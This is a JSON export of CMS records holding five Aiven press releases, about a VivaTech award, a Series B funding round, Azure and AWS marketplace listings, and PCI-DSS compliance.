{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"65ms2sFbkP8FGmzVeSUoyR","_rev":"5iTZEBNHx5PwgJLwP8gff7","_type":"pressRelease","_updatedAt":"2022-12-02T12:40:47Z","content":[{"_key":"eFuRXyPB","_type":"block","children":[{"_key":"66eff4ee0612","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 18, 2021- "},{"_key":"BX59gHi2","_type":"span","marks":[],"text":"On June 18 2021, at VivaTech, the largest Tech event in France, Aiven - a leading technology company combining the best open source event streaming and data management technologies with infrastructure - was among six category finalists to receive an Award at the Prize ceremony Next Unicorn Awards in the Enterprise SaaS category."}],"markDefs":[],"style":"normal"},{"_key":"DOxuQePt","_type":"block","children":[{"_key":"LWtE8HD8","_type":"span","marks":[],"text":"The ceremony took place in the presence of Kat Borlongan, Director of FrenchTech and Cédric O, French Secretary of State for the Digital Economy, the Jury members and VivaTech attendees. Thomas Dubus, VP Sales EMEA at Aiven, received the Award at the ceremony:"}],"markDefs":[],"style":"normal"},{"_key":"Kyj633q0","_type":"block","children":[{"_key":"lGW05OE0","_type":"span","marks":[],"text":"“On behalf of Aiven, I would like to express our gratitude for this award. Aiven was founded on the idea that open source databases can help enterprises in their transition to the cloud as long as it is made easy, reliable, and cost-effective. And this is what we do at Aiven: we offer open source DBaaS in a high quality and multi-cloud environment, so our customers benefit from a rock-solid foundation to develop the applications that really matter for their business. As we see open source databases taking more and more market space, our ambition is to become a key European enabler of enterprise cloud transformation.”"}],"markDefs":[],"style":"normal"},{"_key":"nfdhUdV9","_type":"block","children":[{"_key":"i44kN1LS","_type":"span","marks":[],"text":"The nomination of Aiven as category winner follows the announcement in April of the “Top 100 Next Unicorns”, a list of the hundred most promising startups in Europe (including UK and Israel). The list was made by VivaTech in partnership with GP Bullhound and five international VC funds: Accel, Balderton, IdInvest, Partech and NorthZone."}],"markDefs":[],"style":"normal"},{"_key":"UcpG1swV","_type":"block","children":[{"_key":"veyD79Uc","_type":"span","marks":[],"text":"With Headquarters in Helsinki and hubs in Berlin, Boston, Toronto and Sydney (more coming soon), Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what it does best; manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Earlier this year, ADEO announced its partnership with Aiven. Aiven has raised $150M in VC funding to date and is backed by world-class investors including Atomico, IVP and Earlybird Venture Capital, among others. To learn more about Aiven, visit "},{"_key":"wEOvB4po","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"O2sSiBfo","_type":"span","marks":[],"text":" and follow "},{"_key":"ZW2eCGm8","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"hSak1RSw","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-06-18T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Founded on the idea that open source databases can help enterprises in their cloud transition, Aiven received the Next Unicorn Award.","metaTitle":"Aiven selected as Enterprise SaaS winner at VivaTech"},"slug":{"_type":"slug","current":"/press/aiven-selected-as-a-category-winner-enterprise-saas-at-vivatech"},"subtitle":"Founded on the idea that open source databases can help enterprises in their cloud transition, Aiven received the Next Unicorn Award at a ceremony held in Paris, France.","title":"Aiven selected as Enterprise SaaS winner at VivaTech"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7wIAFvwRmBCXqgHVhQ2Xyq","_rev":"ElrRHx5al3kb1PwLXGi6qd","_type":"pressRelease","_updatedAt":"2022-12-02T12:01:36Z","content":[{"_key":"zTvqbBHD","_type":"block","children":[{"_key":"R19TR8pN","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 5, 2020 - "},{"_key":"o4F5wC6K","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"u5K1FnU3","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, today announced that it has raised $40 million in Series B funding. This brings the total funds raised to $50 million. The round was led by Silicon Valley-based "},{"_key":"PRMdqbtV","_type":"span","marks":["m14481166898348"],"text":"IVP"},{"_key":"8F46k8nA","_type":"span","marks":[],"text":", whose notable investments include Datadog, Dropbox, GitHub, HashiCorp, and Slack. Existing investors Earlybird VC and Lifeline Ventures, as well as family offices of Risto Siilasmaa, chairman of Nokia, and Olivier Pomel, founder of Datadog, also participated in the round."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m14481166898348","_type":"link","href":"https://www.ivp.com/"}],"style":"normal"},{"_key":"k1BBVwhT","_type":"block","children":[{"_key":"Ouha9C9E","_type":"span","marks":["m10038045464649"],"text":"Organizations of all sizes are moving to the cloud"},{"_key":"2xPvgRPi","_type":"span","marks":[],"text":" and leveraging open source software as the backbone of their data infrastructure. While larger companies have the resources and expertise to manage these deployments internally, most companies require some level of third-party support to effectively utilize open source."}],"markDefs":[{"_key":"m10038045464649","_type":"link","href":"https://www.gartner.com/smarterwithgartner/cloud-shift-impacts-all-it-markets/"}],"style":"normal"},{"_key":"uCLTWcVu","_type":"block","children":[{"_key":"NfBnbyZ4","_type":"span","marks":[],"text":"Aiven democratizes access to the latest open source technologies by offering fully-managed services for popular open source projects like Apache Kafka and Cassandra, OpenSearch, M3 and PostgreSQL in the "},{"_key":"XdGn7Re7","_type":"span","marks":["m8290511468142"],"text":"public cloud"},{"_key":"w2cVvV2V","_type":"span","marks":[],"text":". Aiven now serves over 500 businesses worldwide, including Atlassian, Comcast, OVO Energy and Toyota, and is available on all major public clouds."}],"markDefs":[{"_key":"m8290511468142","_type":"link","href":"https://aiven.io/blog/public-v-private-clouds-whats-the-difference"}],"style":"normal"},{"_key":"N2mpR1iO","_type":"block","children":[{"_key":"jn5afwBo","_type":"span","marks":[],"text":"“This investment is evidence of a growing appetite from enterprises for open source data technologies,” said "},{"_key":"9AP9FfiP","_type":"span","marks":["m17162928532968"],"text":"Oskari Saarenmaa"},{"_key":"H3I6Mrsb","_type":"span","marks":[],"text":", CEO and co-founder at Aiven. “Aiven is able to close that gap by offering a platform that abstracts away all the complexities of operating those technologies so our customers can focus on their business applications and driving the bottom-line. With the new funding, we’ll be able to expand our product roadmap and work more closely with our customers globally to help them utilize open source technologies at scale.”"}],"markDefs":[{"_key":"m17162928532968","_type":"link","href":"https://www.linkedin.com/in/oskarisaarenmaa/"}],"style":"normal"},{"_key":"G3FWg3Mm","_type":"block","children":[{"_key":"ynhy11xF","_type":"span","marks":[],"text":"Aiven experienced tremendous growth in 2019. The company tripled its revenue run rate, added 200 new customers, doubled headcount and opened two new offices in Berlin and Sydney. The new round of financing will enable Aiven to expand its presence in the U.S. and accelerate Aiven’s mission of empowering developers and democratizing access to the latest open source technologies."}],"markDefs":[],"style":"normal"},{"_key":"X2jc54hq","_type":"block","children":[{"_key":"RGkz6ut3","_type":"span","marks":[],"text":"Aiven will use the proceeds of the round to triple headcount, add new open source technologies like M3 and Flink, and introduce new enterprise grade features. IVP General Partner "},{"_key":"vGFs7TpH","_type":"span","marks":["m13805027268076"],"text":"Eric Liaw"},{"_key":"Vza1AYQg","_type":"span","marks":[],"text":" will join Aiven’s board of directors."}],"markDefs":[{"_key":"m13805027268076","_type":"link","href":"https://www.linkedin.com/in/ericliaw/"}],"style":"normal"},{"_key":"b40aQ2Ff","_type":"block","children":[{"_key":"1Ar3LgxZ","_type":"span","marks":[],"text":"“The increasing adoption of open-source infrastructure software and public cloud usage are among the incredibly powerful trends in enterprise technology and Aiven is making it possible for customers of all sizes to benefit from the advantages of open source infrastructure,“ Liaw said. “In addition to their market potential and explosive yet capital-efficient growth, we were most impressed to hear from customer after customer that ‘Aiven just works.’ The overwhelmingly positive feedback from customers is a testament to their hiring practices and the strong engineering team they have built. We’re thrilled to partner with Aiven’s team and help them build their vision of a single open-source data cloud that serves the needs of customers of all sizes.”"}],"markDefs":[],"style":"normal"},{"_key":"2kSRFsap","_type":"block","children":[{"_key":"VidQin7Y","_type":"span","marks":[],"text":"For the first time in five years, enterprise software companies raised more venture funding than consumer technology companies – "},{"_key":"OAiCxNTE","_type":"span","marks":["m9600503914587"],"text":"more than $30 billion"},{"_key":"mE4MJCzC","_type":"span","marks":[],"text":". Capitalizing on this trend, Aiven has emerged as a leader in providing organizations with the best open source database and data processing technologies in the cloud. The Series B will allow Aiven to provide new cloud services for customers and continue empowering developers to focus on their core products, not the underlying infrastructure."}],"markDefs":[{"_key":"m9600503914587","_type":"link","href":"https://www.bloomberg.com/news/articles/2020-01-08/everyone-wants-a-piece-of-enterprise-tech-companies"}],"style":"normal"},{"_key":"VIf9ZsFs","_type":"block","children":[{"_key":"VJT665q8","_type":"span","marks":[],"text":"To learn more about Aiven’s capabilities, visit https://aiven.io/."}],"markDefs":[],"style":"normal"},{"_key":"frUi3LAJ","_type":"block","children":[{"_key":"8WUHdIup","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"lyXg9nDQ","_type":"block","children":[{"_key":"nqfOF9zI","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"8s3euYD6","_type":"block","children":[{"_key":"E2FFbRqa","_type":"span","marks":[],"text":"You can visit "},{"_key":"Wu7aaUlI","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"K390Hi8L","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"oiKfSlh6","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"uddLgWjg","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"nz0L5rdC","_type":"block","children":[{"_key":"Y1m8J9NZ","_type":"span","marks":["strong"],"text":"About IVP"}],"markDefs":[],"style":"normal"},{"_key":"ljiULBrm","_type":"block","children":[{"_key":"Z5O2369Q","_type":"span","marks":[],"text":"With $7 billion of committed capital, IVP is one of the premier later-stage venture capital and growth equity firms in the United States. Founded in 1980, IVP has invested in over 400 companies with 113 IPOs. IVP is one of the top-performing firms in the industry and has a 38-year IRR of 43.1%. IVP specializes in venture growth investments, industry rollups, founder liquidity transactions, and select public market investments. IVP investments include such notable companies as AppDynamics (CSCO), Casper, Coinbase, Compass, CrowdStrike (CRWD), Datadog (DDOG), Datalogix (ORCL), Dropbox (DBX), GitHub (MSFT), Glossier, Grammarly, HashiCorp, HomeAway (EXPE), The Honest Company, Kayak (PCLN), Klarna, LegalZoom, Marketo (ADBE), Mindbody (MB), MuleSoft (CRM), Netflix (NFLX), Personal Capital, Pure Storage (PSTG), Rubrik, Slack (WORK), Snap (SNAP), SoFi, Supercell (SFTBF), Tanium, TransferWise, Twitter (TWTR), UiPath, Yext (YEXT), ZenDesk (ZEN), ZipRecruiter, and Zynga (ZNGA)."}],"markDefs":[],"style":"normal"},{"_key":"HVYpuJi8","_type":"block","children":[{"_key":"VPAwwPyl","_type":"span","marks":[],"text":"For more information, "},{"_key":"zG6QswkX","_type":"span","marks":["m14481166898348"],"text":"visit www.ivp.com"},{"_key":"wXIATuGb","_type":"span","marks":[],"text":" or follow IVP on Twitter: "},{"_key":"hQXfA2EA","_type":"span","marks":["m8680393508200"],"text":"@ivp"},{"_key":"qktIeAGb","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14481166898348","_type":"link","href":"https://www.ivp.com/"},{"_key":"m8680393508200","_type":"link","href":"https://twitter.com/ivp"}],"style":"normal"}],"publishedAt":"2020-02-05T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Press Release: In 2020, we expanded our product roadmap \u0026 work closely with \u003e500 businesses worldwide. ","metaTitle":"Aiven raises $40m Series B to accelerate open source cloud"},"slug":{"_type":"slug","current":"/press/aiven-raises-dollar40m-series-b-to-accelerate-open-source-cloud-platform"},"subtitle":"Aiven Press Release: In 2020, we expanded our product roadmap and work closely with \u003e500 businesses worldwide.","title":"Aiven raises $40m Series B to accelerate open source cloud platform"}
{"__i18n_lang":"en","_createdAt":"2022-11-16T20:36:38Z","_id":"09d2b95e-a866-4d7d-8a83-11b39df4a80b","_rev":"5iTZEBNHx5PwgJLwP8sgge","_type":"pressRelease","_updatedAt":"2022-12-02T13:24:49Z","content":[{"_key":"af9c6308bfdf","_type":"block","children":[{"_key":"cbf0ac3edc970","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 17, 2022-"},{"_key":"07cb4a9006fe","_type":"span","marks":[],"text":" "},{"_key":"cbf0ac3edc971","_type":"span","marks":["87994148d4f9"],"text":"Aiven"},{"_key":"cbf0ac3edc972","_type":"span","marks":[],"text":", the open source cloud data platform company, is now available in the Microsoft Azure Marketplace, an online store providing applications and services for use on Azure. Aiven customers can now take advantage of the productive and trusted Azure cloud platform, with streamlined deployment and management."}],"markDefs":[{"_key":"87994148d4f9","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"7b0756f1dc37","_type":"block","children":[{"_key":"2c4efb0640410","_type":"span","marks":[],"text":"\nAiven's availability on Azure marketplace makes it possible for businesses and developers alike to get instant access to the Aiven platform on a pay-as-you-go basis and utilize their Azure account for procurement and billing. Aiven’s platform provides best of breed open source technologies such as Apache Kafka®, PostgreSQL® and OpenSearch® to manage data from a single, easy to use console for all types of data - streaming, operational and analytics. All services are fully managed with guaranteed uptime of 99.99%."}],"markDefs":[],"style":"normal"},{"_key":"9463af42a490","_type":"block","children":[{"_key":"4629c04149a10","_type":"span","marks":[],"text":"\n“Aiven’s integration with Azure marketplace brings the open source technologies closer to developers in the Azure ecosystem, helping them innovate and ship faster.” said Heikki Nousiainen, Aiven CTO. “We are thrilled to take this step with Microsoft Azure and look forward to closely collaborating with Azure and our joint customers.”"}],"markDefs":[],"style":"normal"},{"_key":"6535dbce0a22","_type":"block","children":[{"_key":"e4351477e6790","_type":"span","marks":[],"text":"\nJake Zborowski, General Manager, Microsoft Azure Platform at Microsoft Corp. said, “We’re pleased to welcome Aiven to the Microsoft Azure Marketplace, which gives our partners great exposure to cloud customers around the globe. Azure Marketplace offers world-class quality experiences from global trusted partners with solutions tested to work seamlessly with Azure.”"}],"markDefs":[],"style":"normal"},{"_key":"18b8e4026406","_type":"block","children":[{"_key":"7ec6ba79aa7a0","_type":"span","marks":[],"text":"For more information on Aiven, please visit "},{"_key":"4356138e257c1","_type":"span","marks":["668e3798c290"],"text":"https://aiven.io/"},{"_key":"4356138e257c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"668e3798c290","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"99479b2ad70a","_type":"block","children":[{"_key":"c7a3a7a8636f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b94ce72fc108","_type":"image","asset":{"_ref":"image-60897ac9e27e3021cd35bba539301398e7137fde-1275x1021-jpg","_type":"reference"}},{"_key":"9ef29c55f001","_type":"block","children":[{"_key":"099f43cfca8b","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"56099c9cdcf1","_type":"block","children":[{"_key":"7c1c6480195e0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"ffff6bf3ac49","_type":"block","children":[{"_key":"9c59a19158c60","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Toronto, Sydney, Singapore, and Tokyo. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds.  Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"5e57ecca2fd1","_type":"block","children":[{"_key":"39d6856e49690","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"20753902a96b","_type":"block","children":[{"_key":"6346a56ab1fb0","_type":"span","marks":[],"text":"\n"},{"_key":"ce634b0da53a0","_type":"span","marks":["strong"],"text":"Media Contacts\n"},{"_key":"59355179fa770","_type":"span","marks":[],"text":"Aiven\nRachel Romoff\npress@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"ddc67c46aab0","_type":"block","children":[{"_key":"707ad5cad51b0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-11-17T20:36:00.000Z","seo":{"_type":"metaData","excludeFromSitemap":false,"metaDescription":"Aiven, the open source cloud data platform company, is now available in the Microsoft Azure Marketplace. ","metaTitle":"Aiven Now Available on Microsoft Azure Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-now-available-on-microsoft-azure-marketplace"},"subtitle":"Microsoft Azure customers worldwide now gain access to Aiven’s fully managed data open source services to take advantage of the scalability, reliability and agility of Azure.\n","title":"Aiven now available on Microsoft Azure Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7tdUO65BTePbQuSzc2Kjj7","_rev":"0rD6Phxg3duzic15oE7Etg","_type":"pressRelease","_updatedAt":"2022-12-02T12:12:21Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a startup that combines the best open source technologies with cloud infrastructure, announced today that its products will be available in the AWS Marketplace, starting with Aiven for Apache Kafka. This enables customers who use AWS to simplify their procurement process when purchasing Aiven products.\n\nThis new option allows customers of both services to receive a single invoice from AWS, rather than having two separate bills from the service providers. Additionally, purchases of Aiven services through the marketplace will count towards customers’ cloud spending commitments with AWS.\n\n“Given the size and scope of AWS, it was a no brainer to simplify the procurement and accounting processes for their marketplace customers,” said Hannu Valtonen, VP Product at Aiven. “Our aim is to make it easier for our customers to take open source technology into use, and this is an important step in that direction.”\n\nAiven will gradually make its other offerings available in the AWS marketplace over the coming months. This strategy enables the open source cloud provider to reach a new segment of potential customers who might not have been able to access Aiven’s products due to having different procurement rules that would have prevented it. With the ability to purchase Aiven through AWS, those users have better access to open source technology.\n\n\nVisit the [Aiven for Apache Kafka](https://aiven.io/kafka) page to learn more about it.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"0iEx1Oll","_type":"block","children":[{"_key":"a04f03c8320c","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — March 11, 2020-"},{"_key":"lvDBpF9y","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"uo69BKvh","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, announced today that its products will be available in the AWS Marketplace, starting with Aiven for Apache Kafka. This enables customers who use AWS to simplify their procurement process when purchasing Aiven products."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"3lhAj0mE","_type":"block","children":[{"_key":"xgpMsalt","_type":"span","marks":[],"text":"This new option allows customers of both services to receive a single invoice from AWS, rather than having two separate bills from the service providers. Additionally, purchases of Aiven services through the marketplace will count towards customers’ cloud spending commitments with AWS."}],"markDefs":[],"style":"normal"},{"_key":"Qof8HBRg","_type":"block","children":[{"_key":"HTQEhDJ5","_type":"span","marks":[],"text":"“Given the size and scope of AWS, it was a no brainer to simplify the procurement and accounting processes for their marketplace customers,” said Hannu Valtonen, VP Product at Aiven. “Our aim is to make it easier for our customers to take open source technology into use, and this is an important step in that direction.”"}],"markDefs":[],"style":"normal"},{"_key":"fBUxUMAs","_type":"block","children":[{"_key":"SyaZvelG","_type":"span","marks":[],"text":"Aiven will gradually make its other offerings available in the AWS marketplace over the coming months. This strategy enables the open source cloud provider to reach a new segment of potential customers who might not have been able to access Aiven’s products due to having different procurement rules that would have prevented it. With the ability to purchase Aiven through AWS, those users have better access to open source technology."}],"markDefs":[],"style":"normal"},{"_key":"3CKrysAv","_type":"block","children":[{"_key":"HbFxvy2C","_type":"span","marks":[],"text":"Visit the "},{"_key":"c4fZjcmi","_type":"span","marks":["m3354951073646"],"text":"Aiven for Apache Kafka"},{"_key":"7rqQbfot","_type":"span","marks":[],"text":" page to learn more about it."}],"markDefs":[{"_key":"m3354951073646","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"miOyeOjh","_type":"block","children":[{"_key":"BIFDxA24","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"PObac8VP","_type":"block","children":[{"_key":"BwpuQiMy","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"zCxmY0as","_type":"block","children":[{"_key":"kKq8dTA1","_type":"span","marks":[],"text":"You can visit "},{"_key":"zJtJdcLQ","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"LtIgSxQy","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"1HI3REwe","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"4uO9t9xF","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-03-11T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: Our managed Apache Kafka is now available at AWS Marketplace also for existing AWS accounts. Customers can now easily access Aiven services.","metaTitle":"Aiven services now available in the AWS Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-now-available-on-aws-marketplace"},"subtitle":"Aiven Press Release: Our managed Apache Kafka is now available at AWS Marketplace also for existing AWS accounts. Customers can now easily access Aiven services.","title":"Aiven services now available in the AWS Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"64rmi9Xr9KohBj5wd0tU3f","_rev":"5iTZEBNHx5PwgJLwP8aXPE","_type":"pressRelease","_updatedAt":"2022-12-02T12:19:59Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company that combines the best open-source technologies with cloud infrastructure, today announces its services meet all Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements. This global security standard for information is designed to ensure that companies processing, storing or transmitting payment card information maintain a secure environment.\n\nCustomers requiring full PCI-DSS compliance can now leverage Aiven services, and they can opt-in to enable the required security options when launching a service on the Aiven platform. A recent study found that only [27.9% of global organizations](https://www.zdnet.com/article/payment-card-security-remains-lax-says-verizon-business-report/) were in full compliance with PCI-DSS, which shows that many companies are potentially leaving consumers’ data vulnerable to cyber attacks. \n\n“Our PCI-DSS compliant status is just another sign of the progress we’ve made in providing top-notch security for our clients across AWS, GCP, and Azure cloud platforms,” said Heikki Nousiainen, CTO at Aiven. “This addition to our information security certifications makes Aiven the most comprehensively secure and compliant open source data platform.”\n\nPCI-DSS is a mandated standard for many financial applications, and while it is naturally most often required by financial service providers, it’s also becoming more common across all industries for companies needing to meet the highest security standards. PCI-DSS adds to Aiven’s existing SOC 2, ISO 27001, GDPR and HIPAA compliances and demonstrates its commitment to customer information security, ensuring Aiven’s services meet standards of security assurance required by even the most regulated industries.\n\n\"At Ziglu, it’s imperative we have the most resilient and secure data infrastructure on the market because we handle crypto and fiat currencies,” said Hussein Badakhchani, CTO at Ziglu, a cryptocurrency app. “Aiven has a unique capability to provide database services that meet our high standards. Aiven's PCI-DSS compliance is more proof of their commitment to security and data privacy.\"\n\nTo learn more about Aiven, visit: [https://aiven.io/](https://aiven.io/).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io/) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"bde1c1b95550","_type":"block","children":[{"_key":"6ea80df20de2","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 22, 2020- "},{"_key":"F7kNK2Qr","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"9uV44R1S","_type":"span","marks":[],"text":", a leading technology company that combines the best open-source technologies with cloud infrastructure, today announces its services meet all Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements. This global security standard for information is designed to ensure that companies processing, storing or transmitting payment card information maintain a secure environment."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"tvpbUFQO","_type":"block","children":[{"_key":"ai3d8Z8k","_type":"span","marks":[],"text":"Customers requiring full PCI-DSS compliance can now leverage Aiven services, and they can opt-in to enable the required security options when launching a service on the Aiven platform. A recent study found that only "},{"_key":"7YetjmIf","_type":"span","marks":["m7410364408199"],"text":"27.9% of global organizations"},{"_key":"Al3SFKJV","_type":"span","marks":[],"text":" were in full compliance with PCI-DSS, which shows that many companies are potentially leaving consumers’ data vulnerable to cyber attacks."}],"markDefs":[{"_key":"m7410364408199","_type":"link","href":"https://www.zdnet.com/article/payment-card-security-remains-lax-says-verizon-business-report/"}],"style":"normal"},{"_key":"ZPHs4M3i","_type":"block","children":[{"_key":"RRjFlOIk","_type":"span","marks":[],"text":"“Our PCI-DSS compliant status is just another sign of the progress we’ve made in providing top-notch security for our clients across AWS, GCP, and Azure cloud platforms,” said Heikki Nousiainen, CTO at Aiven. “This addition to our information security certifications makes Aiven the most comprehensively secure and compliant open source data platform.”"}],"markDefs":[],"style":"normal"},{"_key":"tkL04C1F","_type":"block","children":[{"_key":"P9cA43f3","_type":"span","marks":[],"text":"PCI-DSS is a mandated standard for many financial applications, and while it is naturally most often required by financial service providers, it’s also becoming more common across all industries for companies needing to meet the highest security standards. PCI-DSS adds to Aiven’s existing SOC 2, ISO 27001, GDPR and HIPAA compliances and demonstrates its commitment to customer information security, ensuring Aiven’s services meet standards of security assurance required by even the most regulated industries."}],"markDefs":[],"style":"normal"},{"_key":"GG0mcw4U","_type":"block","children":[{"_key":"gxKuX31z","_type":"span","marks":[],"text":"\"At Ziglu, it’s imperative we have the most resilient and secure data infrastructure on the market because we handle crypto and fiat currencies,” said Hussein Badakhchani, CTO at Ziglu, a cryptocurrency app. “Aiven has a unique capability to provide database services that meet our high standards. Aiven's PCI-DSS compliance is more proof of their commitment to security and data privacy.\""}],"markDefs":[],"style":"normal"},{"_key":"cxzEBc60","_type":"block","children":[{"_key":"vsFLJywf","_type":"span","marks":[],"text":"To learn more about Aiven, visit: "},{"_key":"a5wMqRe6","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"m1pjx9VU","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"ICHb8H6x","_type":"block","children":[{"_key":"1eiz2ocW","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"4v0TkP7n","_type":"block","children":[{"_key":"nDRfLlqK","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"adgYFlJa","_type":"block","children":[{"_key":"3g3ao5mR","_type":"span","marks":[],"text":"You can visit "},{"_key":"mz9I8b6f","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"OWlpEPH5","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"JqYyKd7g","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"OQ3Cqjyz","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-10-22T00:00:00.000Z","seo":{"metaDescription":"Aiven’s latest compliance standard ensures its customers’ have the most comprehensive data protection.","metaTitle":"Aiven is now PCI-DSS compliant"},"slug":{"_type":"slug","current":"/press/aiven-now-compliant-with-payment-card-industry-data-security-standard"},"subtitle":"Aiven’s latest compliance standard ensures its customers’ have the most comprehensive data protection.","title":"Aiven is now PCI-DSS compliant"}
